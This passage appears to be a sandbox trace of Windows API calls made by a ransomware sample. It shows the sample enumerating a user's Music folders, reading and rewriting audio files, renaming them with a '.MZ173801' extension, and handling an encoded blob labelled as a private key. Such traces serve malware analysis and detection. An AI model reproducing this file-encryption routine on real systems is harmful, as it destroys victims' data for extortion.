"c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\tknowma4nsuoy4hb4asu.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.678] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.678] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.678] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xd1f3 [0158.678] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.678] ReadFile (in: hFile=0x2f8, lpBuffer=0x24f2380, nNumberOfBytesToRead=0xd1f3, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24f2380*, lpNumberOfBytesRead=0x19f74c*=0xd1f3, lpOverlapped=0x0) returned 1 [0158.679] CloseHandle (hObject=0x2f8) returned 1 [0158.680] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\tknowma4nsuoy4hb4asu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.681] WriteFile (in: hFile=0x2f8, lpBuffer=0x25003b0*, nNumberOfBytesToWrite=0xd1f3, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x25003b0*, lpNumberOfBytesWritten=0x19f758*=0xd1f3, lpOverlapped=0x0) returned 1 [0158.684] CloseHandle (hObject=0x2f8) returned 1 [0158.686] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\tknowma4nsuoy4hb4asu.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\TKNOwmA4NSUOy4hb4aSU.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\tknowma4nsuoy4hb4asu.wav.mz173801")) returned 1 [0158.687] GetCurrentThreadId () returned 0xab4 [0158.687] GetCurrentThreadId () returned 0xab4 [0158.687] GetCurrentThreadId () returned 0xab4 [0158.687] GetCurrentThreadId () returned 0xab4 [0158.687] GetCurrentThreadId () returned 0xab4 [0158.687] GetCurrentThreadId () returned 0xab4 [0158.687] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x7f55e9e0, ftLastAccessTime.dwHighDateTime=0x1d5efdf, ftLastWriteTime.dwLowDateTime=0x7f55e9e0, ftLastWriteTime.dwHighDateTime=0x1d5efdf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="VqltAk", cAlternateFileName="")) returned 1 [0158.687] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x7f55e9e0, ftLastAccessTime.dwHighDateTime=0x1d5efdf, ftLastWriteTime.dwLowDateTime=0x7f55e9e0, ftLastWriteTime.dwHighDateTime=0x1d5efdf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="VqltAk", cAlternateFileName="")) returned 0 [0158.687] GetLastError () returned 0x12 [0158.687] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.687] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb95c22e0, ftCreationTime.dwHighDateTime=0x1d5ecfa, ftLastAccessTime.dwLowDateTime=0x88b8bdad, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88b8bdad, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0158.687] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.687] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.687] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb95c22e0, ftCreationTime.dwHighDateTime=0x1d5ecfa, ftLastAccessTime.dwLowDateTime=0x88b8bdad, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88b8bdad, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.687] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.687] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.687] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa506d520, ftCreationTime.dwHighDateTime=0x1d5e515, ftLastAccessTime.dwLowDateTime=0x22e32030, ftLastAccessTime.dwHighDateTime=0x1d5e4ed, ftLastWriteTime.dwLowDateTime=0x88af336d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16df1, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="AuJwOyKnChH.wav.MZ173801", cAlternateFileName="AUJWOY~1.MZ1")) returned 1 [0158.687] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.687] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.687] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69282a20, ftCreationTime.dwHighDateTime=0x1d5ee72, ftLastAccessTime.dwLowDateTime=0x1694da20, ftLastAccessTime.dwHighDateTime=0x1d5e561, ftLastWriteTime.dwLowDateTime=0x88b196d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xf43, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="c IXUe-mvNtEdk.mp3.MZ173801", cAlternateFileName="CIXUE-~1.MZ1")) returned 1 [0158.687] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.688] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.688] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42513370, ftCreationTime.dwHighDateTime=0x1d5eaac, ftLastAccessTime.dwLowDateTime=0x3bf94a70, ftLastAccessTime.dwHighDateTime=0x1d5e508, ftLastWriteTime.dwLowDateTime=0x88b196d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x174a5, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="FqOJo-o8.wav.MZ173801", cAlternateFileName="FQOJO-~1.MZ1")) returned 1 [0158.688] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.688] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.688] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9767bf50, ftCreationTime.dwHighDateTime=0x1d5ed90, ftLastAccessTime.dwLowDateTime=0xd0e8a030, ftLastAccessTime.dwHighDateTime=0x1d5e6d0, ftLastWriteTime.dwLowDateTime=0x88b8bdad, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1868a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="RaqZQNwTN3mbA0F.m4a.MZ173801", cAlternateFileName="RAQZQN~1.MZ1")) returned 1 [0158.688] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.688] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.688] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3630b8a0, ftCreationTime.dwHighDateTime=0x1d5f109, ftLastAccessTime.dwLowDateTime=0x9c8f5520, ftLastAccessTime.dwHighDateTime=0x1d5ee93, ftLastWriteTime.dwLowDateTime=0x88b8bdad, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xd1f3, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="TKNOwmA4NSUOy4hb4aSU.wav.MZ173801", cAlternateFileName="TKNOWM~1.MZ1")) returned 1 [0158.688] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.688] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.688] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x7f55e9e0, ftLastAccessTime.dwHighDateTime=0x1d5efdf, ftLastWriteTime.dwLowDateTime=0x7f55e9e0, ftLastWriteTime.dwHighDateTime=0x1d5efdf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="VqltAk", cAlternateFileName="")) returned 1 [0158.688] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.688] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.688] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x7f55e9e0, ftLastAccessTime.dwHighDateTime=0x1d5efdf, ftLastWriteTime.dwLowDateTime=0x7f55e9e0, ftLastWriteTime.dwHighDateTime=0x1d5efdf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0158.688] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x7f55e9e0, ftLastAccessTime.dwHighDateTime=0x1d5efdf, ftLastWriteTime.dwLowDateTime=0x7f55e9e0, ftLastWriteTime.dwHighDateTime=0x1d5efdf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6769b1f0, ftCreationTime.dwHighDateTime=0x1d5eae8, ftLastAccessTime.dwLowDateTime=0x1da6cae0, ftLastAccessTime.dwHighDateTime=0x1d5f014, ftLastWriteTime.dwLowDateTime=0x1da6cae0, ftLastWriteTime.dwHighDateTime=0x1d5f014, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="5B1wK SInIEY1XG8", cAlternateFileName="5B1WKS~1")) returned 1 [0158.688] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f3222e0, ftCreationTime.dwHighDateTime=0x1d5ef71, ftLastAccessTime.dwLowDateTime=0x647b2b70, ftLastAccessTime.dwHighDateTime=0x1d5e630, ftLastWriteTime.dwLowDateTime=0x647b2b70, ftLastWriteTime.dwHighDateTime=0x1d5e630, nFileSizeHigh=0x0, nFileSizeLow=0xac27, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Dzl1T_E T7Ch1n.wav", cAlternateFileName="DZL1T_~1.WAV")) returned 1 [0158.688] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0158.688] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.688] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\dzl1t_e t7ch1n.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f3222e0, ftCreationTime.dwHighDateTime=0x1d5ef71, ftLastAccessTime.dwLowDateTime=0x647b2b70, ftLastAccessTime.dwHighDateTime=0x1d5e630, ftLastWriteTime.dwLowDateTime=0x647b2b70, ftLastWriteTime.dwHighDateTime=0x1d5e630, nFileSizeHigh=0x0, nFileSizeLow=0xac27)) returned 1 [0158.688] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\dzl1t_e t7ch1n.wav")) returned 0x20 [0158.688] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav", dwFileAttributes=0x80) returned 1 [0158.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24e7b7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq